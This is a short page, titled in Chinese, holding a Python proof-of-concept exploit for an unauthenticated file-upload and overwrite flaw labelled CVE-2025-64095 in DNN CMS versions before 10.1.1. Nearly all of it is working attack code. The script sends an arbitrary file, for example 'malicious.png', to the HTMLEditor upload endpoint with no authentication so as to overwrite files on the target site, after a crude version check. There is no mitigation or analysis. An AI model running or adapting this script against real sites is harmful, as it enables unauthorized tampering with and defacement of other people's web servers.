CVE-2025-64095 DNN CMS未授权文件上传覆盖漏洞

import requests import sys # CVE-2025-64095 PoC - Unauthenticated File Upload in DNN CMS # Target: DNN versions < 10.1.1 def upload_file(target_url, file_path, target_filename): """ Upload a file to DNN without authentication and attempt to overwrite existing files """ upload_url = f"{target_url}/API/HTMLEditor/upload" try: with open(file_path, 'rb') as f: files = { 'file': (target_filename, f, 'image/png') } # Send request without authentication response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File upload successful: {target_filename}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def check_version(target_url): """ Check if target is vulnerable DNN version """ version_url = f"{target_url}/API/Common/Version" try: response = requests.get(version_url, timeout=10) if '10.1.1' not in response.text: print(f"[!] Target appears to be vulnerable") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-64095.py <target_url> <file_path> <target_filename>") print("Example: python cve-2025-64095.py http://target.com malicious.png default.png") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] target_filename = sys.argv[3] print(f"[*] Testing CVE-2025-64095 on {target}") if check_version(target): upload_file(target, file_path, target_filename)